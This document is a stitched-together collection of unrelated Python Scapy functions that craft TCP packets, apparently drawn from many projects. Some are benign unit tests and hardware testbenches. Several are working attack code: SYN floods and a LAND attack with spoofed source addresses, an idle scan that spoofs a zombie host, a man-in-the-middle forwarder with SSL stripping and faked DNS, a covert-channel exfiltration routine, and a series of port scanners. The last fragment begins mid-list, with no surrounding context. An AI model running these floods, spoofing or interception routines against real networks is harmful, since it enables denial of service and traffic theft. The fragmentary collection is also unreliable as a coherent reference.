def run(self): print "Starting %s %s %d" % (self.name, self.target, self.port) i = IP() i.src="%i.%i.%i.%i" % (random.randint(1, 254), random.randint(1,254), random.randint(1, 254), random.randint(1,254)) i.dst = self.target t = TCP() t.dport = self.port t.flags='S' print "Spoofing %s to send SYN ..." % i.src sr1(i/t,verbose=0)
def run(self): i = IP() i.src = "%i.%i.%i.%i" % (random.randint(1, 254), random.randint(1, 254), random.randint(1, 254), random.randint(1, 254)) i.dst = self.target t = TCP() t.sport = random.randint(1, 65535) t.dport = self.port t.flags = 'S' send(i / t, verbose=0)
def craft_tcp_info(hdr, info, sport, dport): crft = [] for fields in info: tcp = TCP(sport=sport, dport=dport) for f, v in fields.iteritems(): tcp.setfieldval(f, v) crft.append((hdr/tcp)) return [i.__class__(str(i)) for i in crft]
def run(self): packet_ip = IP() packet_ip.src = "{}.{}.{}.{}".format(random.randint(1, 254), random.randint(1, 254), random.randint(1, 254), random.randint(1, 254)) packet_ip.dst = self.host packet_tcp = TCP() packet_tcp.sport = random.randint(1024, 65535) packet_tcp.dport = self.port packet_tcp.flags = 'S' send(packet_ip/packet_tcp)
def cmd_land(ip, count, port, iface, verbose): """This command implements the LAND attack, that sends packets forging the source IP address to be the same that the destination IP. Also uses the same source and destination port. The attack is very old, and can be used to make a Denial of Service on old systems, like Windows NT 4.0. More information here: https://en.wikipedia.org/wiki/LAND \b # sudo habu.land 172.16.0.10 ............ Note: Each dot (.) is a sent packet. You can specify how many packets send with the '-c' option. The default is never stop. Also, you can specify the destination port, with the '-p' option. """ conf.verb = False if iface: conf.iface = iface layer3 = IP() layer3.dst = ip layer3.src = ip layer4 = TCP() layer4.dport = port layer4.sport = port pkt = layer3 / layer4 counter = 0 while True: send(pkt) counter += 1 if verbose: print(pkt.summary()) else: print('.', end='') sys.stdout.flush() if count != 0 and counter == count: break return True
def main(dst): file = open("/mnt/testfile.txt", "a+") file.write(str(dst)) file.close() dst_ports = [dst.split(":")[1]] dst_ip = dst.split(":")[0] file = open("/mnt/testfile.txt", "a+") file.write(" d_p: " + str(dst_ports)) file.close() open_ports = [] for port in dst_ports: file = open("/mnt/testfile.txt", "a+") file.write(" p: " + str(port)) file.close() port = int(port) #establishe a tcp connection tcp_connect_scan_resp = sr1(IP(dst=dst_ip) / TCP(sport=src_port, dport=port, flags="S"), timeout=0.5, verbose=False) #check if the connection was accepted and returned a not non-type response if (str(type(tcp_connect_scan_resp)) == "<class 'NoneType'>"): continue #print("Closed, filtered, dropped or blocked") elif (tcp_connect_scan_resp.haslayer(TCP)): #if it was accapted we should read the SYN-ACK in the flags. This will be 0x12 in hexadecimal as SYN(=2) and ACK(=16 or 0x10 in hex). if (tcp_connect_scan_resp.getlayer(TCP).flags == 0x12): send_rst = sr(IP(dst=dst_ip) / TCP(sport=src_port, dport=port, flags="AR"), timeout=0.5, verbose=False) open_ports.append(port) #if we read 0x14 this implies RST-ACK, so the port is closed. elif (tcp_connect_scan_resp.getlayer(TCP).flags == 0x14): continue print(open_ports) else: print("Host is Down") file = open("/mnt/testfile.txt", "a+") file.write("_scannerend_") file.close() return open_ports
def payload(dut): tb = deparser_TB(dut) yield tb.async_rst() dut._log.info("Running test") pkt = [] pkt.append((Ether(src="aa:aa:aa:aa:aa:aa", dst='11:11:11:11:11:11', type="IPv4") / IP( src="192.168.1.1", dst="192.168.1.2") / TCP( sport=80, dport=12000) / "PAYLOAD TEST", "PAYLOAD TEST")) pkt.append((Ether(src="aa:aa:aa:aa:aa:aa", dst='11:11:11:11:11:11', type="IPv4") / IP( src="192.168.1.1", dst="192.168.1.2") / TCP( sport=80, dport=12000) / "PAYLOAD TEST FUL", "PAYLOAD TEST FUL")) pkt.append((Ether(src="aa:aa:aa:aa:aa:aa", dst='11:11:11:11:11:11', type="IPv4") / IP( src="192.168.1.1", dst="192.168.1.2") / TCP( sport=80, dport=12000) / "PAYLOAD2 TEST FULL", "PAYLOAD2 TEST FULL")) for pt in pkt: p = pt[0] tb.set_PHV(p, BinaryValue(bytes("PAYLOAD TEST", 'utf-8'))) tb.payload_in.append(pt[1]) nbCycle = int(len(raw(p))/(len(dut.packet_out_tdata)/8)) dut.packet_out_tready.value =1 yield ClockCycles(dut.clk, 1) dut.en_deparser.value =1 yield ClockCycles(dut.clk, 1) dut.en_deparser.value =0 yield [RisingEdge(dut.packet_out_tlast), ClockCycles(dut.clk, nbCycle + 10)] yield ClockCycles(dut.clk, 10)
def test_options_eol(): """ Tests options-eol. """ pkt = TCP(options=[("EOL", None)]) p = layers.packet.Packet(pkt) assert p.get("TCP", "options-eol") == "" p2 = layers.packet.Packet(TCP(bytes(p))) assert p2.get("TCP", "options-eol") == "" p = layers.packet.Packet(IP() / TCP(options=[])) assert p.get("TCP", "options-eol") == "" p.set("TCP", "options-eol", "") p.show() assert len(p["TCP"].options) == 1 assert any(k == "EOL" for k, v in p["TCP"].options) value = p.gen("TCP", "options-eol") assert value == "", "eol cannot store data" p.set("TCP", "options-eol", value) p2 = TCP(bytes(p)) assert any(k == "EOL" for k, v in p2["TCP"].options)
def __init__(self, host='127.0.0.1', port=80): self.sequence = random.randrange(0, 4000000) self.source_port = random.randrange(32000, 33000) self.remote_host = host self.remote_port = int(port) packets = sr1( IP(dst=host) / TCP(dport=self.remote_port, sport=self.source_port, flags=0x02, seq=self.sequence)) syn_ack = packets[0] self.ack = syn_ack["TCP"].seq self.ack = self.ack + 1 self.sequence = self.sequence + 1 send( IP(dst=host) / TCP(dport=self.remote_port, sport=self.source_port, flags=0x10, seq=self.sequence, ack=self.ack))
def test_ignore_non_arp_packets(self): """ Test that non-ARP packets are ignored. """ packet = IP(dst='www.apple.com') / TCP(dport=80) / Raw(b'test') chef = ARPChef() dumpling = chef.packet_handler(packet) assert chef.ip_mac == {} assert dumpling is None
def trafficSend(self, seq, hostID, am): ptime = 0 #print len(seq) for i in range(0, len(seq)): #print i #print (seq[i][0] - ptime) * am time.sleep((seq[i][0] - ptime) * am) pk = IP(proto=1, src=('10.0.1.%d' % (hostID - 1)), dst='10.0.1.8') / TCP() send(pk) ptime = seq[i][0]
def tryTCP(host, port, verbose=False): rtn = None resp = sr1(IP(dst=host) / TCP(dport=port.port, flags='S'), timeout=3, verbose=False) if resp is None: rtn = PortResults(host, port, 'closed', 'None') elif resp.haslayer(TCP): if resp.getlayer(TCP).flags == 0x12: send_rst = sr(IP(dst=host) / TCP(dport=port.port, flags='AR'), timeout=3, verbose=False) rtn = PortResults(host, port, 'open', resp.show(dump=True)) elif resp.getlayer(TCP).flags == 0x14: rtn = PortResults(host, port, 'closed', resp.show(dump=True)) else: rtn = PortResults(host, port, 'closed', 'None') return rtn
def __call__(self, iface, push_entry): data = "TEST" ether = Ether(src=push_entry.src_mac_address, dst=push_entry.dst_mac_address, type=push_entry.eth_type) ip = IP(src=push_entry.src_ip, dst=push_entry.dst_ip) tcp = TCP(sport=push_entry.src_port, dport=push_entry.dst_port) pkt = ether / ip / tcp / data with self._network_namespace_context: sendp(pkt, iface=iface.name, verbose=False, promisc=False)
def recover_ack(self, tcp): self.delta = tcp.seq + 1 - self.local_seq ip = self.ip_type(src=self.remote_addr, dst=self.local_addr) tcp = TCP(dport=self.local_port, sport=self.remote_port, seq=tcp.ack, ack=tcp.seq + 1, flags="A") send_local("ACK", ip / tcp, self.socket_type)
def recover_syn(self, tcp): self.local_seq = tcp.ack ip = self.ip_type(src=self.remote_addr, dst=self.local_addr) tcp = TCP(dport=self.local_port, sport=self.remote_port, seq=tcp.seq - 1, ack=0, flags="S") send_local("SYN recover", ip / tcp, self.socket_type)
def test_trace_error_cases(): """ Tests that trace handles edge cases. """ # No IP header means the packet should just be returned packet = actions.packet.Packet( TCP(sport=2222, dport=3333, seq=100, ack=100, flags="S")) trace = actions.trace.TraceAction(None) p1, p2 = trace.run(packet, logger) assert p2 is None assert p1 == packet # Mark the trace as having run already - it should not run again trace.ran = True packet = actions.packet.Packet( IP(src="127.0.0.1", dst="127.0.0.1") / TCP(sport=2222, dport=3333, seq=100, ack=100, flags="S")) p1, p2 = trace.run(packet, logger) assert p1 is None assert p2 is None
def forward_packet(self, packet): # We cannot forward packets if we cannot see to where it is supposed to go if not (packet.haslayer(Ether) and packet.haslayer(IP)): return # Don't look at packets not addressed to us if packet.haslayer(Ether) and packet[ Ether].dst != self.interface.mac_address.lower(): return # We're not forwarding packets of our own if packet[IP].src == self.interface.ip_address: return # We don't forward DNS requests because we need to fake them if packet.haslayer(DNS): return if self.USE_SSL_STRIPPING: if packet.haslayer(HTTPRequest): self.perform_ssl_strip(packet) return # Don't forward tcp connections on port 80 (http) if packet.haslayer(TCP) and packet[TCP].dport == 80: # respond if only the SYN flag is set flags = packet[TCP].flags if 'S' in flags: response = IP() / TCP(flags='SA') response[IP].src = packet[IP].dst response[IP].dst = packet[IP].src response[TCP].sport = packet[TCP].dport response[TCP].dport = packet[TCP].sport response[TCP].ack = packet[TCP].seq + 1 response[TCP].seq = 0 send(response, verbose=0) return for victim in self.victims: # victim -> gateway if packet[IP].src == victim.ip_address and packet[ IP].dst != self.interface.ip_address: packet[Ether].dst = self.gateway.mac_address packet[Ether].src = self.interface.mac_address sendp(packet, verbose=0) return # gateway -> victim if packet[IP].dst == victim.ip_address: packet[Ether].dst = victim.mac_address packet[Ether].src = self.interface.mac_address sendp(packet, verbose=0) return
def test_only_duplicate_data_removed(self): """Given a PacketList with three packets, only the duplicate should be removed. The other two should remain. Duplicates: a pair of data packets (PUSH and ACK flags set, same SEQ and ACK numbers) Other: SYN packet (SYN flag set) """ non_dup = Ether() / IP() / TCP(flags='S', seq=0, ack=0) data1 = Ether() \ /IP() \ /TCP(flags='PA', seq=10, ack=11, chksum=0xccfe ) \ /Raw(load='abc') data2 = Ether() \ /IP() \ /TCP(flags='PA', seq=10, ack=11, chksum=0xccfe ) \ /Raw(load='abc') pkts = PacketList([non_dup, data1, data2]) sr = Session_Reassembler() deduped_pkts = sr._remove_duplicate_packets(pkts) self.assertTrue(deduped_pkts[0][TCP].flags == 'S') self.assertTrue(len(deduped_pkts) == 2)
def send_packet(protocol=None, src_ip=None, src_port=None, flags=None, dst_ip=None, dst_port=None, iface=None): """Modify and send an IP packet.""" if protocol == 'tcp': packet = IP(src=src_ip, dst=dst_ip)/TCP(flags=flags, sport=src_port, dport=dst_port) elif protocol == 'udp': if flags: raise Exception(" Flags are not supported for udp") packet = IP(src=src_ip, dst=dst_ip)/UDP(sport=src_port, dport=dst_port) else: raise Exception("Unknown protocol %s" % protocol) send(packet, iface=iface)
def syn_scan_port(host, port): # disable scapy output conf.verb = 0 srcport = RandShort() # send a SYN packet and wait for the response synack = sr1(IP(dst=host)/TCP(sport=srcport, dport=port, flags="S")) resp_flags = synack.getlayer(TCP).flags # close the connection rst = IP(dst=host)/TCP(sport=srcport, dport=port, flags='R') send(rst) # If the response was a SYNACK, the port is considered open # If the response was anything else, the port is considered closed if resp_flags == SYNACK: return "open" else: return "closed"
def createPacketTwo(char1, char2): # get the binary values of both chars without the binary string indicator binChar1 = bin(ord(char1))[2:].zfill(8) binChar2 = bin(ord(char2))[2:].zfill(8) print binChar1 + binChar2 # get the integer value of the concatenated binary values intPortVal = int(binChar1 + binChar2, 2) print "bin value " + str((bin(intPortVal))) # craft the packet packet = IP(dst=args.destIp) / TCP(dport=80, sport=maxPort - intPortVal) return packet
def get_scan_result(self, target, port, timeout) -> PortResult: packet = IP(target) / TCP(dport=[80, port], flags="") result = super().send_probe_packet(packet, target, port) if isinstance(result, PortState): return PortResult(port, PortState.Open, True) if result[TCP].flags.R: return PortResult(port, PortState.Closed, False) return PortResult(port, result, False)
def test_random_tamper_options(logger): """ Tests tampering a given option with a random value (corrupt) """ packet = layers.packet.Packet(IP(src="127.0.0.1", dst="127.0.0.1")/TCP(sport=2222, dport=3333, seq=100, ack=100, flags="S")/("data")) tamper = actions.tamper.TamperAction(None, field="options-mss", tamper_type="corrupt") lpacket, rpacket = tamper.run(packet, logger) assert lpacket["TCP"].options[0][0] == "MSS" if lpacket["TCP"].options[0][1] == 3453: lpacket, rpacket = tamper.run(packet, logger) assert lpacket["TCP"].options[0][1] != 3453
def ipid_scanner(zombie_ip, victim_ip, victim_port): synack_to_zombie = IP(dst=zombie_ip)/TCP(dport=3322, flags='SA') # Creating SYNACK packet. attacker --> zombie zombie_response = sr1(synack_to_zombie, verbose=0) # Sending SYNACK. attacker --> zombie print("\n[+] Sending syn-ack to zombie") initial_ipid = zombie_response.id # Recording the initial IPID value of zombie print("\n[+] Recording initial IPID") #Creating spoofed SYN packet. Zombie(spoofed) --> victim syn_to_victim = IP(src = zombie_ip, dst=victim_ip)/TCP(dport=int(victim_port), flags='S') send(syn_to_victim, verbose=0) # Sending SYN. Zombie(spoofed) --> victim print("\n[+] Sending spoofed syn to victim") zombie_response = sr1(synack_to_zombie, verbose=0) # Sending SYNACK. Attacker --> Zombie print("\n[+] Sending syn-ack to zombie") final_ipid = zombie_response.id # Recording the final IPID value of zombie print("\n[+] Recording final IPID\n") print("[*] Initial IPID of zombie: {}\n[*] Final IPID of zombie: {}".format(initial_ipid,final_ipid)) return initial_ipid, final_ipid
def check_port(ip, port, result = 0): src_port = RandShort() try: p = IP(dst=ip)/TCP(sport=src_port, dport=port) resp = sr1(p, timeout=1) # Sending packet if str(type(resp)) == "<type 'NoneType'>": result = 0 elif resp.haslayer(TCP): if resp.getlayer(TCP).flags == 0x12: send_rst = sr(IP(dst=ip)/TCP(sport=src_port, dport=port, flags='AR'), timeout=1) result = 1 elif resp.getlayer(TCP).flags == 0x14: result = 0 #icmp is blocked elif (int(resp.getlayer(ICMP).type)==3 and int(resp.getlayer(ICMP).code) in [1,2,3,9,10,13]): result = 2 except Exception as e: pass return result
def test_invalid_write(self): """Test invalid write vulnerability in LZC code (CVE-2015-2282)""" test_case = read_data_file('invalid_write_testcase.data', False) pkt = Ether() / IP() / TCP(dport=3200) / SAPNI() / Raw( str(SAPDiag(compress=1))[:-8]) / test_case packet = self.get_capture(pkt)[0] self.assertIn('sapdiag', packet)
def scan_web_port(ip): open = [] packet = IP(dst=ip) packet /= TCP(dport=[80, 443], flags="S") answered, unanswered = sr(packet, timeout=1) for (send, recv) in answered: if not recv.getlayer("ICMP"): flags = recv.getlayer("TCP").sprintf("%flags%") if flags == "SA": open.append((send.dport)) return open
def test_tcp(self, host, ttl): # tcp style ports=[20,21,22,53,80,443,1723,8080] # common tcp ports. If respond is SYN+ACK or RST will detect. for i in ports: pkt=IP(dst=host, ttl=ttl)/TCP(dport=i) reply = sr1(pkt, verbose=0, timeout=self.timeout) if not (reply is None): #looking for ANY reply return True, reply.src elif i == ports[-1]: # Break infinite looks return None, None else: # If not reply port is filtered, and moves to next port. next
def main(rhost, rport): """ Completes the three way handshake, the determines what service is available on that port, if any """ try: rport = int(rport) except ValueError: print("{} does not appear to be a valid number.".format(rport)) print("Please change the destination port value and try again.") return source_port = randint(1024, 65535) # Packet[1] SYN ip = IP(dst=rhost, ttl=128, len=48) tcp = TCP(sport=source_port, dport=rport, flags='S', options=[('MSS', 1460), ('NOP', ()), ('NOP', ()), ('SAckOK', '')]) syn = ip / tcp # Packet[2] SYN-ACK syn_ack = sr1(syn) replyflag = syn_ack.sprintf("%TCP.flags%") print("Received TCP Reply flag {}".format(replyflag)) # Packet[3] ACK if (replyflag == 'SA'): SEQ = syn_ack[TCP].ack ACK = syn_ack[TCP].seq + 1 source_port = syn_ack.dport ## The OS may change source_port tcp = TCP(dport=rport, flags='A', seq=SEQ, ack=ACK, sport=source_port) send(ip / tcp) # Equivalent to the C language function getservbyport() TCP_REVERSE = dict((TCP_SERVICES[k], k) for k in TCP_SERVICES.keys()) print("Port {} is {}".format(rport, TCP_REVERSE[rport]))
def test_gnrc_tcp_garbage_packets_ack_instead_of_sym(child): """ This test verfies that sending and ACK instead of a SYN. doesn't break GNRC_TCP. """ # Setup RIOT as server with RiotTcpServer(child, generate_port_number()) as riot_srv: # Construct HostTcpClient to lookup node properties host_cli = HostTcpClient(riot_srv) # Try to accept incoming connection from host system. # Use timeout of 15s discarding 1000 packages can take a while on smaller platforms child.sendline('gnrc_tcp_accept 15000') # Check if debug output is enabled. Send fewer packets on if it is disabled # To ensure that the amount of generated output doesn't break the test debug = child.expect( [pexpect.TIMEOUT, r'GNRC_TCP: Enter "\S+", File: .+\(\d+\)\s'], timeout=1 ) if debug: count = 10 else: count = 1000 # see https://github.com/RIOT-OS/RIOT/pull/12001 provided_data = base64.b64decode("rwsQf2pekYLaU+exUBBwgPDKAAA=") tcp_hdr = TCP(provided_data) assert provided_data == raw(tcp_hdr) # set destination port to application specific port tcp_hdr.dport = int(riot_srv.listen_port) sendp( Ether(dst=riot_srv.mac) / IPv6(src=host_cli.address, dst=riot_srv.address) / tcp_hdr, iface=host_cli.interface, verbose=0, count=count ) # check if server actually still works with host_cli: child.expect_exact('gnrc_tcp_accept: returns 0') riot_srv.close()
def main(): # This is required for traffic to localhost conf.L3socket = L3RawSocket my_ip = IP(dst="www.google.com") my_tcp = TCP(dport=80) pkt = my_ip / my_tcp #send(pkt) sr1(pkt) print "packet sent"
def tst_1packet(dut): cocotb.fork(Clock(dut.clk, 6.4, 'ns').start()) tb = axistream_fifo_TB(dut) yield tb.async_rst() pkt = Ether(src="aa:aa:aa:aa:aa:aa", dst='11:22:33:44:55:66', type="IPv4") / IP(src="192.168.1.1", dst="192.168.1.2") / TCP( sport=80, dport=12000) / "DEADBEEFHHHH" tb.send(pkt) dut.stream_out_tready <= 0 yield ClockCycles(dut.clk, 10) dut.stream_out_tready <= 1 yield ClockCycles(dut.clk, 80)
def scapy_tcp(self, ip: str, dport: int, sport: int) -> None: """ This function send a TCP packet with Scapy. """ debug(f"Send TCP packet for {ip!r}") send( IP(src=self.ip, dst=ip) / TCP(sport=sport, dport=dport, flags="S", seq=1000), iface=self.iface, verbose=False, )
def append_tcp_three_way_handshake(plugins_data, srcport=4096, dstport=80): syn = Ether() / ScapyIP(src=plugins_data._get("ip-src"), dst=plugins_data._get("ip-dst")) / TCP( sport=srcport, dport=dstport, flags="S") plugins_data.pcap.append(syn) syn_ack = Ether() / ScapyIP( src=plugins_data._get("ip-dst"), dst=plugins_data._get("ip-src")) / TCP( sport=dstport, dport=srcport, ack=syn[TCP].seq + 1, flags="S" "A") plugins_data.pcap.append(syn_ack) ack = Ether() / ScapyIP(src=plugins_data._get("ip-src"), dst=plugins_data._get("ip-dst")) / TCP( sport=srcport, seq=syn_ack[TCP].ack, ack=syn_ack[TCP].ack, dport=dstport, flags="A") plugins_data.pcap.append(ack) return ack
def send_data(self, bytestream): if self.verbose(): print("Exfiltrating " + repr(bytestream.decode('us-ascii'))) packet = IP() / TCP() packet.dst = self.host() packet.dport = self.dest_port() packet.sport = self.source_port() packet.getlayer(TCP).flags = 0x20 | 0x02 # URG & SYN packet.urgptr = self.int_for(bytestream) if self.verbose(): packet.show() send(packet, verbose=self.verbose())
def _send(self, **kwargs): """Every packet we send should go through here.""" load = kwargs.pop('load', None) flags = kwargs.pop('flags', "") packet = TCP(dport=self.dest_port, sport=self.src_port, seq=self.seq, ack=self.last_ack_sent, **kwargs) # Always ACK unless it's the first packet if self.state == "CLOSED": packet.flags = flags else: packet.flags = flags + "A" # Add the IP header full_packet = self.ip_header / packet # Add the payload full_packet.load = load # Send the packet over the wire self.listener.send(full_packet) # Update the sequence number with the number of bytes sent if load is not None: self.seq += len(load)
def cmd_synflood(ip, interface, count, port, forgemac, forgeip, verbose): """Launch a lot of TCP connections and keeps them opened. Some very old systems can suffer a Denial of Service with this. Reference: https://en.wikipedia.org/wiki/SYN_flood Example: \b # sudo habu.synflood 172.16.0.10 ................. Each dot is a packet sent. You can use the options '-2' and '-3' to forge the layer 2/3 addresses. If you use them, each connection will be sent from a random layer2 (MAC) and/or layer3 (IP) address. You can choose the number of connections to create with the option '-c'. The default is never stop creating connections. Note: If you send the packets from your real IP address and you want to keep the connections half-open, you need to setup for firewall to don't send the RST packets. """ conf.verb = False if interface: conf.iface = interface layer2 = Ether() layer3 = IP() layer3.dst = ip layer4 = TCP() layer4.dport = port pkt = layer2 / layer3 / layer4 counter = 0 print("Please, remember to block your RST responses", file=sys.stderr) while True: if forgeip: pkt[IP].src = "%s.%s" %(pkt[IP].src.rsplit('.', maxsplit=1)[0], randint(1, 254)) if forgemac: pkt[Ether].src = RandMAC() pkt[TCP].sport = randint(10000, 65000) if verbose: print(pkt.summary()) else: print('.', end='') sys.stdout.flush() sendp(pkt) counter += 1 if count != 0 and counter == count: break return True
# BT Port Scanner - Exercise 6.19 Solution from scapy.all import sr1, IP, TCP print "[BT PORT SCANNER]\n" dest = raw_input("Enter destination IP address: ") for i in range(20, 1025): tcp_seg = TCP(dport=i, sport=2057, flags='S') tcp_packet = IP(dst=dest)/tcp_seg tcp_res = sr1(tcp_packet, timeout=1, verbose=0) if str(type(tcp_res)) == "<type 'NoneType'>": print "[" + str(i) + "] => CLOSED\n" elif tcp_res.haslayer(TCP): if tcp_res.getlayer(TCP).flags == 18: tcp_seg.flags = 'A' tcp_seg.ack = tcp_res.getlayer(TCP).seq + 1 tcp_packet = IP(dst=dest)/tcp_seg tcp_res = sr1(tcp_packet, timeout=1, verbose=0) print "[" + str(i) + "] => OPEN\n" else: print "[" + str(i) + "] => CLOSED\n"
8080, # tomcat 4567, # filenail (commonly open port for backdoors) ] # try each common port until one responds for port in common_ports: # assemble IP packet with target IP ip = IP() ip.dst = target_ip # assemble TCP with dst port and SYN flag set tcp = TCP() tcp.dport = port tcp.flags = 'S' print 'Trying port %d' % port # send the packet and wait 2 seconds for an answer rcv_pkt = sr1(ip / tcp, timeout=2, verbose=0) # if answered no need to try more ports if rcv_pkt: break # check to see if host responded, quit if otherwise